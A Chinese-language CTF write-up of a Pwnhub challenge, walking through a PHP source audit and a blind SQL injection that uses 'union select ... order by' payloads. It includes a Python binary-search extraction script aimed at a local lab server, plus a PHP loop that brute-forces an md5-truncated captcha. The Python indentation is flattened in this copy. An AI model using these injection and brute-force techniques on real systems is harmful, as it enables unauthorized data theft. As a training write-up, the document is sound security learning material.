这几天复现了一下 Pwnhub会员日 的一道题。
一开始创表和字段的时候自信的自己创。。然后发现出问题了。。然后。。就老老实实的“自带”的代码。。然后就ojbk了~~
这道题涉及了太多太多原先我并不知道的东西,所以仔细思考下来,还是收获了很多新姿势~
面对一开始的login界面,
测试了半天,发现没有注入点,然后不知道怎么进行下一步,就很懵逼~
Process
对于一个没有丰富ctf经验的小白来说。。就真的不知道要用扫描器这个神奇的东西~~后来发现thisisourcecode,就赶紧download下来审计一波~~
就只有几个php,根据代码审计老套路~寻找可控点~捋清楚逻辑
SQL注入
profile.php 中有一个注入点
但是。。过滤了我认为最重要的(),这就很难受了。。因为这样子,我该如何注入啊??
Flag
要想拿到flag,
1.就要拿到$secrect
因为兑换码是一个“str_shuffle“的随机字符串
str_shuffle
但是要值得注意的是,这个函数是将字符串用伪随机的方式打乱,也就是一个字母用了一次之后,就不会再用第二次,我们可以利用
这个东西也是做了这套题为才知道的~~
2.就要爆破出验证码
Solution
SQL注入
要找出36位的兑换码不难,难得是
他还限制了次数,超过了140次,就重置掉,所以。。傻瓜式遍历,肯定行不通~~这对一个虽然学过二分法,但是不知道怎么用python来实现的freshman来说,好像是有点残忍~~然后感谢彭锅(Ph0rse)给的思路~再去找了些资料,似乎搞懂了。。
虽然我们要找到数据库中的兑换码,但是,兑换码在哪一列?不知道,而且过滤了(),也就意味着不能用mysql的一系列函数,来爆破列名(废话,要是能爆列名,还要盲注干嘛 :D )。
于是又从彭锅那里学到一招:
手动测试一下,回显位是第二位,果然是这样的。。所以就可以开始写脚本了。
# -*- coding:UTF-8 -*-
import requests as rq
import sys
# 准备工作
url = "http://localhost/pwnhub/profile.php"
cookies = {"PHPSESSID":"630v0vodvk3f2muj14cohfld80"}
payload = {'id':'1'}
string = '0123456789abcdefghijklmnopqrstuvwxyz'
str = ''
url = rq.get(url,cookies=cookies, params=payload)
i = 1
print(url.url)
while i <= 36:
left = 0
right = len(string)-1
print('problem:')
print(right)
if right - left == 1:
poc = url.url +' union select 1,2,3,\''+str+string[right]+'\',5 order by 4 limit 0,1--+'
target = rq.get(poc,cookies=cookies)
if 'KarmA' in target.text:
str = str + string[left]
str = str + string[right]
print(str)
exit()
else:
str = str + string[right]
str = str + string[left]
print(str)
exit()
# 二分法
while 1:
mid = int((left + right)) / 2
poc = url.url + ' union select 1,2,3,\''+str+string[mid]+'\',5 order by 4 limit 0,1--+'
print(poc)
target = rq.get(poc,cookies=cookies)
print(target.text)
if 'KarmA' in target.text:
right = mid - 1 # 左半部
else:
left = mid # 右半部
if left == right: #中值
str = str + string[left]
string = string.replace(string[left],'')
break
if right - left == 1: # 特殊情况,如不处理,会导致死循环
poc = url.url +' union select 1,2,3,\''+str+string[right]+'\',5 order by 4 limit 0,1--+'
target = rq.get(poc, cookies=cookies)
if 'KarmA' in target.text:
str = str + string[left]
string = string.replace(string[left],'')
break
else:
str = str + string[right]
string = string.replace(string[right],'')
break
i += 1
print(str)
验证码
对传入的captcha经过md5加密后取前4位,与session的验证码比较。所以就需要写个脚本逆向爆破一下。得到加密前的验证码。
<?php
$i=1;
while (1)
{
if(substr(md5($i),0,4)=='dd35')
{
echo $i;
break;
}
$i++;
}
?>
然后就得到flag了。。。